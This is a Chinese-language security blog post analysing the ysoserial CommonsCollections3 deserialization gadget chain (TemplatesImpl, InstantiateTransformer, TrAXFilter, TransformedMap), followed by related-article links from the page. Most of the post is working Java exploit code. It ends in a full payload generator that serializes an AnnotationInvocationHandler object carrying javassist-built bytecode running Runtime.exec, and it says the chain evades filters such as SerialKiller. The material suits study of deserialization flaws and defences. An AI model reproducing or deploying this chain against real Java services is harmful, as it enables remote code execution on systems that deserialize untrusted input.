CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandlerreadobject进行了改写。

而CC3目前有两条主流的利用链,利用TransformedMap或者LazyMap。我们这篇文章先讲TransformedMap链

TemplatesImpl

在CC2中利用javassist创建了一个攻击类,使用TemplatesImpl类中的newTransformer方法触发

这里写一个简单的demo来演示下:

  1. public class Demo {
  2. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  3. Field field = obj.getClass().getDeclaredField(fieldName);
  4. field.setAccessible(true);
  5. field.set(obj, value);
  6. }
  7. public static void main(String[] args) throws Exception {
  8. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  9. //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
  10. ClassPool classPool= ClassPool.getDefault();//返回默认的类池
  11. classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
  12. CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
  13. payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
  14. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
  15. byte[] bytes=payload.toBytecode();//转换为byte数组
  16. TemplatesImpl templatesImpl = new TemplatesImpl();
  17. setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
  18. setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
  19. setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
  20. templatesImpl.newTransformer();
  21. }
  22. }

newTransformer方法执行就会弹出计算器

InstantiateTransformer

这个类的transform方法是利用反射获取类的构造方法对象,再通过该构造方法实例化对象

newInstance就是调用构造方法创建一个对象

  1. // 使用构造器对象的newInstance方法初始化对象
  2. Object obj = constroctor.newInstance("yy", 18);

TrAXFilter

TrAXFilter的构造方法中调用了templates.newTransformer

如果templates变量的值为TemplatesImpl的话,则就能调用到TemplatesImpl的newTransformer方法

这三条链形成一个调用链:

利用InstantiateTransformer#transform调用TrAXFilter的构造方法,再利用构造方法里的templates.newTransformer调用到TemplatesImpl的newTransformer方法。

结合一下ChainedTransformer调用链可以轻松完成构造

  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(TrAXFilter.class),
  3. new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
  4. };
  5. ChainedTransformer chain = new ChainedTransformer(transformers);

这时候我们只需要调用ChainedTransformer的transform即可触发整条链。这里使用的是TransformedMap来触发ChainedTransformer#transform

  1. public class Demo {
  2. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  3. Field field = obj.getClass().getDeclaredField(fieldName);
  4. field.setAccessible(true);
  5. field.set(obj, value);
  6. }
  7. public static void main(String[] args) throws Exception {
  8. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  9. //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
  10. ClassPool classPool= ClassPool.getDefault();//返回默认的类池
  11. classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
  12. CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
  13. payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
  14. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
  15. byte[] bytes=payload.toBytecode();//转换为byte数组
  16. TemplatesImpl templatesImpl = new TemplatesImpl();
  17. setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
  18. setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
  19. setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
  20. Transformer[] transformers = new Transformer[]{
  21. new ConstantTransformer(TrAXFilter.class),
  22. new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
  23. };
  24. ChainedTransformer chain = new ChainedTransformer(transformers);
  25. Map innerMap = new HashMap();
  26. innerMap.put("value", "xxx");
  27. Map decorate = TransformedMap.decorate(innerMap, null, chain);
  28. decorate.put("xxx","xxx");
  29. }
  30. }

到这里是不是开始像CC1中的TransformedMap调用链了。没错,再用AnnotationInvocationHandler的readObject做为反序列化入口就可以构造出整条链了。

顺便复习一个知识点:TransformedMap里的每个entry在调用setValue方法时,会自动调用TransformedMap类的checkSetValue方法

完整的构造链

  1. public class payload02 {
  2. public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
  3. Field field = obj.getClass().getDeclaredField(fieldName);
  4. field.setAccessible(true);
  5. field.set(obj, value);
  6. }
  7. public static void main(String[] args) throws Exception {
  8. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  9. //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
  10. ClassPool classPool= ClassPool.getDefault();//返回默认的类池
  11. classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
  12. CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
  13. payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
  14. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
  15. byte[] bytes=payload.toBytecode();//转换为byte数组
  16. TemplatesImpl templatesImpl = new TemplatesImpl();
  17. setFieldValue(templatesImpl, "_name", "xxxx");
  18. setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
  19. Transformer[] transformers = new Transformer[]{
  20. new ConstantTransformer(TrAXFilter.class),
  21. new InstantiateTransformer(
  22. new Class[]{Templates.class},
  23. new Object[]{templatesImpl})
  24. };
  25. ChainedTransformer chain = new ChainedTransformer(transformers);
  26. Map innerMap = new HashMap();
  27. innerMap.put("value", "xxx");
  28. Map decorate = TransformedMap.decorate(innerMap, null, chain);
  29. // 通过反射机制实例化AnnotationInvocationHandler
  30. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  31. Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
  32. cons.setAccessible(true);
  33. Object ins = cons.newInstance(java.lang.annotation.Target.class,decorate);
  34. // 序列化
  35. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  36. ObjectOutputStream oos = new ObjectOutputStream(baos);
  37. oos.writeObject(ins);
  38. oos.flush();
  39. oos.close();
  40. // 本地模拟反序列化
  41. ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
  42. ObjectInputStream ois = new ObjectInputStream(bais);
  43. Object obj = (Object) ois.readObject();
  44. }
  45. }

其实此条链就是为了对付某些策略对InvokerTransformer类的限制(比如SerialKiller过滤器),而导致不能利用,产生的一条新链。

SerialKiller过滤器:https://github.com/ikkisoft/SerialKiller

当然在ysoserial中,并不是利用的TransformedMap构造,而是用的CC1中的另一条LazyMap链。下篇就讲怎么使用LazyMap构造CC3

ysoserial CommonsColletions3分析(1)的更多相关文章

  1. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  2. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  3. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  4. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  5. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  6. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  7. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  8. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

  9. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

随机推荐

  1. dython:Python数据建模宝藏库

    尽管已经有了scikit-learn.statsmodels.seaborn等非常优秀的数据建模库,但实际数据分析过程中常用到的一些功能场景仍然需要编写数十行以上的代码才能实现. 而今天要给大家推荐的 ...

  2. dubbo学习实践(4)之Springboot整合Dubbo及Hystrix服务熔断降级

    1. springboot整合dubbo 在provider端,添加maven引入,修改pom.xml文件 引入springboot,版本:2.3.2.RELEASE,dubbo(org.apache ...

  3. MySQL为什么不支持中文排序?

    前言 或许都知道,MySQL不支持中文排序,这样的说法可以说对也可以说也不对.接下来我们分析一下: 首先执行命令,查看编码集: SHOW VARIABLES LIKE 'character_set%' ...

  4. 【springboot】集成Druid 作为数据库连接池

    转自:https://blog.csdn.net/cp026la/article/details/86508139 1. 引言 用户的每一次请求几乎都会访问数据库,访问数据库需要向数据库获取链接,而数 ...

  5. Linux下的Shell工作原理

    Linux下的Shell工作原理 Linux系统提供给用户的最重要的系统程序是Shell命令语言解释程序.它不属于内核部分,而是在核心之外,以用户态方式运行.其基本功能是解释并执行用户打入的各种命令, ...

  6. linux下设备驱动的结构&编译&加载

    构造和运行模块 insmod modprobe rmmod 用来装载模块到正运行的内核和移除模块的用户空间工具. #include<linux/init.h> module_init(in ...

  7. IO异常--缓冲流--转换流--序列化流( IO流2 )

    1.IO异常的处理 JDK7前处理:使用try...catch...finally 代码块,处理异常部分 // 声明变量 FileWriter fw = null; try { //创建流对象 fw ...

  8. linux 端口80占用问题

    主要是搭建一次ghost博客网站改成80端口无法启动提示被占用. 提示:80端口被占用,启动失败. netstat -ano 或者 netstat -apn | grep 80 没有发现占用80端口的 ...

  9. RibbitMQ 实战教程

    # RabbitMQ 实战教程 ## 1.MQ引言 ### 1.1 什么是MQ `MQ`(Message Quene) : 翻译为 `消息队列`,通过典型的 `生产者`和`消费者`模型,生产者不断向消 ...

  10. GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组

    1 drop table orders; 2 create table orders ( 3 o_id int auto_increment primary key, 4 orderdate date ...